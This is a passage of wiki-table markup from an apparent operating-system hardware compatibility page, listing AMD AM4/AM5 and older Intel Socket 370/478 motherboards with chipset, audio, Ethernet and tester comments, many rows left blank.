| &lt;!--Name--&gt;Asus ROG Crosshair VIII Dark Hero
| &lt;!--Chipset--&gt;AMD X570 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; SupremeFX7.1 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel® I211-AT and Realtek® RTL8125-CG 2.5G LAN
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG Strix X570-I Gaming Mini ITX AM4 Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI MPG X570 Gaming Plus 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;  alc1220 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG Strix B550-i AM4 ITX Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022  - 
|-
| &lt;!--Name--&gt;Jginyue Jingyue B550i Gaming itx 
| &lt;!--Chipset--&gt;B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;3 with 1 nvme 
| &lt;!--Gfx--&gt;1 pci-e 4
| &lt;!--Audio--&gt;HDAudio alc
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1G 
| &lt;!--Comments--&gt;2022 64bit max of Ryzen 5500 (c t), 5600, 5600g (6c12t) - 2 ddr4 
|-
| &lt;!--Name--&gt;Asrock B550 PHANTOM GAMING ITX/AX 
| &lt;!--Chipset--&gt;AMD B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt; pci-e 
| &lt;!--Audio--&gt;HDAudio with alc1220 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{no|intel 2.5G}} 
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AsRock B550M-ITX/ac
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 ALC897 Audio Codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek Gigabit LAN
| &lt;!--Opinion--&gt;2022  - 2 ddr4 slots 
|-
| &lt;!--Name--&gt;AsRock ASRock B550M-HDV
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme and sata3 
| &lt;!--Gfx--&gt;pci-e 4.0
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 or ALC897 Audio Codec unknown 
| &lt;!--USB--&gt;usb3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek rtl8111h Gigabit LAN}}
| &lt;!--Opinion--&gt;2022  - 2 ddr4 slots - 1 pcie x1 slot - 
|-
| &lt;!--Name--&gt;Asus ROG STRIX B550-A GAMING
| &lt;!--Chipset--&gt;B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;PCIe Gen4 x4 &amp; SATA3 
| &lt;!--Gfx--&gt;pci-e 4
| &lt;!--Audio--&gt;  supremefx S1220A
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Intel® I225-V 2.5Gb}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte AMD B550I AORUS PRO AX Mini-ITX rev 1.0 
| &lt;!--Chipset--&gt;AMD B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme pci-e3 with 4 sata3
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Realtek® ALC1220-VB codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Realtek® 2.5GbE LAN}} 
| &lt;!--Opinion--&gt;2021  2 x DDR4 DIMM sockets  1Rx8/2Rx8/1Rx16 - 
|-
| &lt;!--Name--&gt;Gigabyte B550 AORUS ELITE AX V2 ATX
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 DP and hdmi 
| &lt;!--Audio--&gt;HDAudio ALC1200 
| &lt;!--USB--&gt;USB3 USB 3.2 Gen1 Type-C 
| &lt;!--Ethernet--&gt;{{No|2.5GbE LAN}} 
| &lt;!--Opinion--&gt;2022 64bit- finer tuning than A520's - AMD Ryzen 5000 Series/ 3rd Gen Ryzen and 3rd Gen Ryzen with Radeon Graphics CPU - Dual Channel ECC/ Non-ECC Unbuffered DDR4, 4 DIMMs - 
|-
| &lt;!--Name--&gt;Gigabyte B550M DS3H mATX 
| &lt;!--Chipset--&gt; B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 
| &lt;!--Audio--&gt;HDaudio ALC887 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;realtek rtl8118 
| &lt;!--Opinion--&gt;2021 64bit - 4 ddr4 dimms - 
|-
| &lt;!--Name--&gt;MSI MPG B550 GAMING PLUS ATX
| &lt;!--Chipset--&gt; B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 
| &lt;!--Audio--&gt;HDAudio ALC892 
| &lt;!--USB--&gt;USB 3 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111H 
| &lt;!--Opinion--&gt;2022 64bit - 3rd Gen AMD Ryzen Processors - 4 dimm ddr4 - 
|-
| &lt;!--Name--&gt;MSI MAG B550 TOMAHAWK ATX 
| &lt;!--Chipset--&gt; B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 1 x M.2, Socket 3, M Key (up to Type 22110) and 1 x M.2, Socket 3, M Key (Type 2242/2260/2280)
| &lt;!--Gfx--&gt;PCI-e 4.0 with dp and hdmi 
| &lt;!--Audio--&gt;HDaudio ALC1200 
| &lt;!--USB--&gt;USB3 1 x USB 3.1 Type-C and 1 x USB 3.1 Type-A
| &lt;!--Ethernet--&gt;Realtek RTL8125B and Realtek RTL8111H 
| &lt;!--Opinion--&gt;2022 64bit - 4 Dimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Jginyue A520M-H mATX 
| &lt;!--Chipset--&gt;A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; old bios with random issues with APU ryzens - 
|-
| &lt;!--Name--&gt;Gigabyte A520M S2H mATX 
| &lt;!--Chipset--&gt;AMD A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 1GbE 
| &lt;!--Opinion--&gt;2022 64bit Zen3 65W and up - 2 ddr4 - 
|-
| &lt;!--Name--&gt;Gigabyte A520I AC mITX mini-itx 
| &lt;!--Chipset--&gt;AMD A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit Zen3 65W and up 5600G (6c12t) or 5700G (8c16t) - 2 ddr4 dimm slots - 
|-
| &lt;!--Name--&gt;MSI A520M-A PRO mATX
| &lt;!--Chipset--&gt;A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 1 x M.2, Socket 3, M Key (Type 2242/2260/2280) 
| &lt;!--Gfx--&gt;PCI-e 3.0 
| &lt;!--Audio--&gt;HDAudio ALC892 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 rtl8111H 
| &lt;!--Opinion--&gt;2022 64bit - 2 ddr4 dimm slots - 3rd Gen AMD Ryzen Desktop and AMD Ryzen 4000 G-Series CPU 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


===== (Socket AM5 LGA1718 Zen4 Zen5 Zen6 2022/27)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asrock Steel Legend 
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e rnda2 
| &lt;!--Audio--&gt;HD audio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit - ddr5 ecc (10 chip) and non-ecc (8 chips) 64Gb @ 6000Mhz or 128GB @ 4800Mhz - 
|-
| &lt;!--Name--&gt;Asrock TaiChi
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e rnda2 
| &lt;!--Audio--&gt;HD Audio 
| &lt;!--USB--&gt;USB4 with Thunderbolt 4 equivalent 
| &lt;!--Ethernet--&gt;{{No|Realtek killer E3000 2.5GbE}}
| &lt;!--Opinion--&gt;2022 64bit - ddr5 ecc (10 chip) and non-ecc (8 chips) 
|-
| &lt;!--Name--&gt;Asus ROG Crosshair Hero 
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe rnda2 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;rnda3 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 7950x3d 120W, 7900 7800 7600 90W 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;rnda3 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus B650E-I 
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe
| &lt;!--Gfx--&gt;pci-e 5
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023  - better sound with an actual AMP, PCIe 5, USB-C display outs - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MAXSUN AMD Challenger B650M WIFI M-ATX (aka Soyo) 
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI b650i mini itx
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;pci-e 4
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2023   - front panel connectors at the back of the board - dead rear nvme slot and a drained CMOS battery as the CMOS button being pressed during shipping - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M Zen4
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Zen5 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Zen6 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--ACPI--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Opinion--&gt;2026 FP8 Zen 6 Medusa Point 4bigC, 4 econC, 2lpC, 8coreGPU - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--ACPI--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Opinion--&gt;2026 FP10 Zen 6 Medusa Point 4bigC, 4 econC, 2lpC, 8coreGPU - 
|-
|}


===== (Zen7 AM6 2027/3x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


===== (Zen AM 203x/3x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


====Intel Sockets====

[[#top|...to the top]]


=====Socket 370 (2000/2)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Intel D815EEA 
| &lt;!--Chipset--&gt;866Mhz P3 and i815 chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|Nvidia AGPx8 6200LE added}}
| &lt;!--Audio--&gt;{{N/A}}
| &lt;!--USB--&gt;{{Yes|2 USB1.1}}
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Opinion--&gt;Tested AspireOS 1.7, simple basic board with useful 5 PCI slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket 478 (2002/4)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[http://translate.google.co.uk/translate?hl=en&amp;sl=zh-CN&amp;u=http://detail.zol.com.cn/motherboard/index46381.shtml&amp;prev=/search%3Fq%3Dc.865pe.l%2Bmotherboard%26client%3Dfirefox-a%26hs%3DsZB%26rls%3Dorg.mozilla:en-US:official Colorful Technology C.865PE-L Silver Fighter Warrior V2.3] 
| &lt;!--Chipset--&gt;865PE
| &lt;!--ACPI--&gt;{{dunno| }}
| &lt;!--IDE--&gt;{{Yes|tested with CDROM}}
| &lt;!--SATA--&gt;{{dunno| }}
| &lt;!--Gfx--&gt;{{Maybe|AGP slot}}
| &lt;!--Audio--&gt;{{Yes|ALC650 AC97}} 
| &lt;!--USB--&gt;{{Yes|USB 1.1 and 2.0}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8100 8139}} 
| &lt;!--Opinion--&gt;Still testing with NB (Nightly Build) May 2013 
|-
| &lt;!--Name--&gt;Intel 845 
| &lt;!--Chipset--&gt;865P
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{No|intel 800}}
| &lt;!--Audio--&gt;{{No|AC97 AD1985}}
| &lt;!--USB--&gt;{{Yes|USB1.1 and USB2.0}}
| &lt;!--Ethernet--&gt;{{No|e1000}}
| &lt;!--Opinion--&gt;Tested ICAROS 1.3 
|-
| &lt;!--Name--&gt;Intel 845 
| &lt;!--Chipset--&gt;865GC 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{No|intel 865 Extreme Graphics 2}}
| &lt;!--Audio--&gt;{{No|AC97 AD1985}}
| &lt;!--USB--&gt;{{Yes|USB1.1 and USB2.0}}
| &lt;!--Ethernet--&gt;{{No|e1000}}
| &lt;!--Opinion--&gt;Tested ICAROS 1.3 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA775 s775 (2005/8)=====

